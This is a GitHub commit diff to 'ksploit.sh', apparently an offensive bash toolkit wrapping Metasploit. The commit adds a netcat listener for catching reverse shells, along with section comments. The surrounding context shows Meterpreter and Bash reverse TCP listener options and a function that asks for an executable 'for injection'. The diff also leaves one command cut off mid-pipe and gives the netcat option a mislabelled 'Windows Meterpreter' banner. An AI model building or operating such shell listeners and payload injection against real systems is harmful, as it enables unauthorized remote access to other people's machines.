Skip to content

Commit

Permalink
Update ksploit.sh
Browse files Browse the repository at this point in the history
Adds a simple netcat listener.
  • Loading branch information
kaotickj committed Aug 22, 2022
1 parent 3a2ed7b commit 6bce020
Showing 1 changed file with 39 additions and 4 deletions.
43 changes: 39 additions & 4 deletions ksploit.sh
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,8 @@ NC="${C}[0m"
UNDERLINED="${C}[5m"
ITALIC="${C}[3m"

###############################################
# LOCAL ADAPTER ADDRESSES
###############################################
locals()
{
Expand All @@ -66,11 +68,14 @@ locals()
echo " | WLAN0: $WADDR"| sed 's/$/ /g'
fi

# echo " | IPV4: $THISIP"| sed 's/$/ /g'
# echo " | IPV4: $THISIP"| sed 's/$/ /g' ## Uncomment this if you want to show your ipv4 public ip address in dialogs
echo " -------------------------------------"
return
}

###############################################
# SHOW ERRORS
###############################################
errors()
{
if [ ! "${error}" = "" ]
Expand All @@ -82,6 +87,9 @@ errors()
return
}

###############################################
# FILE CHOOSER
###############################################
pickfile()
{
local f="$exepath"
Expand All @@ -99,6 +107,10 @@ pickfile()
return
}

###############################################
# EXIT 1
###############################################

goodbye()
{
echo "${YELLOW} |${FGG} 👋${GREEN} Goodbye 👋 ${NC}${YELLOW}|"
Expand All @@ -107,6 +119,10 @@ goodbye()
exit 0;
}

###############################################
# EXIT 0
###############################################

badbye()
{
echo "${RED} |${FGR}💀${LG} FATAL ERROR!! 💀 ${NC}${RED}|"
Expand Down Expand Up @@ -595,12 +611,14 @@ listeners()
echo " |---------------------------------------------|"
echo " | 🐚${GREEN} 4 ${BLUE}Bash Reverse TCP listener. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🐱${GREEN} 5 ${BLUE}Netcat listener. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit to the main menu. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
errors
echo "${GREEN}"
read -n1 -p " What do you want to do? Choose: [1,2,3,4,q] " opt
read -n1 -p " What do you want to do? Choose: [1,2,3,4,5,q] " opt
echo
echo
locals
Expand Down Expand Up @@ -645,7 +663,7 @@ listeners()
sleep 1
echo
echo "${YELLOW} ---> Starting listener on LHOST $attackerip LPORT $attackerport."
cat $wdir/meterpreter_linux.rc | xterm -e msfconsole -r $wdir/meterpreter_linux.rc
cat $wdir/meterpreter_linux.rc |
sleep 2
goto listen;
;;
Expand Down Expand Up @@ -692,6 +710,23 @@ listeners()
sleep 2
goto listen;
;;
5)
echo
touch $wdir/nclistener.sh
echo " ${FGC} Crafting a Windows Meterpreter Reverse TCP Listener : ${NC}${YELLOW}"
read -p ' Set Attacker Port* ' attackerport
echo "sudo nc -lvnp $attackerport" >$wdir/nclistener.sh
echo "${GREEN} ---> Saved to $wdir/nclistener.sh"
echo "${GREEN} ---> Finished crafting listener."
sleep 1
echo
echo "${YELLOW} ---> Starting listener on Port: $attackerport."
chmod +x $wdir/nclistener.sh
xterm -e /usr/bin/bash $wdir/nclistener.sh
rm $wdir/nclistener.sh
sleep 2
goto listen;
;;
q)
clear
goto $start
Expand Down Expand Up @@ -840,7 +875,7 @@ malexe()
echo ${LIGHT_CYAN}
echo " Loaded: $exepath"
else
echo -e " ⚠️ ${FGC}Consider: (sudo apt-get install dialog) ${NC}${LIGHT_CYAN}"
echo -e " ${FGC} ⚠️ Consider: (sudo apt-get install dialog) ${NC}${LIGHT_CYAN}"
echo
read -p ' Path to exe for injection*' exepath
fi
Expand Down

0 comments on commit 6bce020

Please sign in to comment.